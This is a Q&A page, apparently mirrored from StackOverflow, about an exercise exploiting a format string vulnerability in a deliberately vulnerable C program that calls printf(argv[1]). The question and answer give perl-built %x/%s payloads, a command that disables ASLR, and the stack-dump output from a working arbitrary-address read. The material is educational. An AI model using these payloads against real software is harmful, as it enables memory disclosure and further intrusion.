Pergunta

I'm trying to exploit a format string vulnerability just for exercise but something is going wrong. My goal is to exploit such a bug in order to read from a certain address chosen by me.

This is the code I'm trying to exploit:

#include <stdio.h>
void main(int argv, char *argv[]){
  printf(argv[1]);
}

This program is running on a x86 machine mounting a 2.6.20 linux kernel.

I'm tring to print the bytes stored at the address 0x80483cb, which belongs to the code section:

 ...
 80483cb:       e8 e8 fe ff ff          call   80482b8 <printf@plt>
 80483cb:       e8 e8 fe ff ff          call   80482b8 <printf@plt>
 80483d0:       83 c4 10                add    $0x10,%esp
 80483d3:       b8 00 00 00 00          mov    $0x0,%eax
 ...

Just to be sure I've also disabled the ASLR with:

echo 0 > /proc/sys/kernel/randomize_va_space

I've found the exact location where to store the memory address doing:

./print AAAA`perl -e 'print "%08x."x141'`
AAAA00000000.bffff0a8.080483fb.b7fcaffc.b7fcaffc.080494e8.b7fcaffc.00000000.b8000ce0.
bffff108.b7eb4e14.00000002.bffff134.bffff140.b7ff5b6c.b7fcaffc.00000000.bffff0c0.bffff108.
bffff0b0.b7eb4dd2.00000000.00000000.00000000.b8000ff8.00000002.080482d0.00000000.b7ff5aa0.
b7ff66b0.b8000ff8.00000002.080482d0.00000000.080482f1.080483a4.00000002.bffff134.080483e0.
08048440.b7ff66b0.bffff12c.b7ffee8e.00000002.bffff2ac.bffff2b4.00000000.bffff57a.bffff5dd.
bffff5f1.bffff5f8.bffff605.bffff615.bffff620.bffff674.bffff6bb.bffff6db.bffff6ef.bffff701.
bffff711.bffff729.bffff749.bffff761.bffff777.bffff781.bffffc71.bffffc7f.bffffc8f.bffffcbc.
bffffce7.bffffd08.bffffd33.bffffd41.bffffd5b.bffffe56.bffffe8b.bffffea0.bffffeba.bffffed2.
bfffff0a.bfffff11.bfffff19.bfffff24.bfffff3a.bfffff5f.bfffff67.bfffff74.bfffff82.bfffff9e.
bfffffb7.bfffffc2.bfffffcd.bfffffea.00000000.00000020.b7fe9400.00000021.b7fe9000.00000010.
078bfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.
00000007.00000007.b7fea000.00000008.00000000.00000009.080482d0.0000000b.00000000.0000000c.
00000000.0000000d.00000000.0000000e.00000000.00000017.00000000.0000000f.bffff29b.00000000.
00000000.00000000.00000000.00000000.69000000.00363836.00000000.00000000.00000000.72702f2e.
00746e69.41414141.

Finally I tried to print the above bytes doing:

./print $(printf "\xcb\x83\x04\x08")`perl -e 'print "%08x."x140 . "%s"'`

But what I got is a fault before to be able to see those bytes:

00000000.bffff0a8.080483fb.b7fcaffc.b7fcaffc.080494e8.b7fcaffc.00000000.b8000ce0.bffff108.
b7eb4e14.00000002.bffff134.bffff140.b7ff5b6c.b7fcaffc.00000000.bffff0c0.bffff108.bffff0b0.
b7eb4dd2.00000000.00000000.00000000.b8000ff8.00000002.080482d0.00000000.b7ff5aa0.b7ff66b0.
b8000ff8.00000002.080482d0.00000000.080482f1.080483a4.00000002.bffff134.080483e0.08048440.
b7ff66b0.bffff12c.b7ffee8e.00000002.bffff2af.bffff2b7.00000000.bffff57a.bffff5dd.bffff5f1.
bffff5f8.bffff605.bffff615.bffff620.bffff674.bffff6bb.bffff6db.bffff6ef.bffff701.bffff711.
bffff729.bffff749.bffff761.bffff777.bffff781.bffffc71.bffffc7f.bffffc8f.bffffcbc.bffffce7.
bffffd08.bffffd33.bffffd41.bffffd5b.bffffe56.bffffe8b.bffffea0.bffffeba.bffffed2.bfffff0a.
bfffff11.bfffff19.bfffff24.bfffff3a.bfffff5f.bfffff67.bfffff74.bfffff82.bfffff9e.bfffffb7.
bfffffc2.bfffffcd.bfffffea.00000000.00000020.b7fe9400.00000021.b7fe9000.00000010.078bfbff.
00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.
00000007.b7fea000.00000008.000Segmentationfault

What I expected was to get on screen a set of chars which are the bytes from the address used until the first \x00, What am I doing wrong?

Foi útil?

Solução

This would work if you wouldn't change the length of your argument.

You remove one %08x. and add one %s. This makes your input 3 bytes shorter, effectively changing the stack layout. So you are likely not hitting the right address anymore.

I recommend writing a small script that will always pad your string to a fixed size. This helps to avoid such changes.

Keep in mind that changing your environment ($PWD (cd ..), adding/removing environment variables, etc.) will also change the stack layout. Resetting the environment can be of help here (env -i).

Here is a run of the vuln program without changing the length of the argument:

$ ./nagga $(printf "\x41\x41\x41\x41")XXperl -e 'print "%x."x118 . "%x"'; AAAAXX0.8048409.f7fceff4.8048400.0.0.f7e454b3.2.ffffd6b4.ffffd6c0.f7fd3000.0.ffffd61c.ffffd6c0.0.804821c.f7fceff4.0.0.0.c1a6169f.f6a2b28f.0.0.0.2.8048330.0.f7ff0a90.f7e453c9.f7ffcff4.2.8048330.0.8048351.80483e4.2.ffffd6b4.8048400.8048470.f7feb660.ffffd6ac.f7ffd918.2.ffffd7d4.ffffd7dc.0.ffffd947.ffffd952.ffffd962.ffffd984.ffffd997.ffffd9a1.ffffdec2.ffffded6.ffffdf23.ffffdf2d.ffffdf3e.ffffdf46.ffffdf51.ffffdf63.ffffdf70.ffffdfa4.ffffdfc4.ffffdfe6.0.20.f7fdb420.21.f7fdb000.10.78bfbff.6.1000.11.64.3.8048034.4.20.5.9.7.f7fdc000.8.0.9.8048330.b.0.c.0.d.0.e.0.17.0.19.ffffd7bb.1f.ffffdff0.f.ffffd7cb.0.0.0.0.0.f4000000.2b137f67.69b01f05.93944d19.697a2611.363836.0.616e2f2e.616767.41414141

$ ./nagga $(printf "\x70\x84\x04\x08")XXperl -e 'print "%x."x118 . "%s"'; p�XX0.8048409.f7fceff4.8048400.0.0.f7e454b3.2.ffffd6b4.ffffd6c0.f7fd3000.0.ffffd61c.ffffd6c0.0.804821c.f7fceff4.0.0.0.187cff94.2f785b84.0.0.0.2.8048330.0.f7ff0a90.f7e453c9.f7ffcff4.2.8048330.0.8048351.80483e4.2.ffffd6b4.8048400.8048470.f7feb660.ffffd6ac.f7ffd918.2.ffffd7d4.ffffd7dc.0.ffffd947.ffffd952.ffffd962.ffffd984.ffffd997.ffffd9a1.ffffdec2.ffffded6.ffffdf23.ffffdf2d.ffffdf3e.ffffdf46.ffffdf51.ffffdf63.ffffdf70.ffffdfa4.ffffdfc4.ffffdfe6.0.20.f7fdb420.21.f7fdb000.10.78bfbff.6.1000.11.64.3.8048034.4.20.5.9.7.f7fdc000.8.0.9.8048330.b.0.c.0.d.0.e.0.17.0.19.ffffd7bb.1f.ffffdff0.f.ffffd7cb.0.0.0.0.0.f000000.5f19366a.9135f3e8.e60e0ac6.69afc87d.363836.0.616e2f2e.616767.�Ë$Ð���������U��S�������t��f����Ћ���u���[]Ð�S��r

Works as expected.

Licenciado em: CC-BY-SA com atribuição
Não afiliado a StackOverflow
scroll top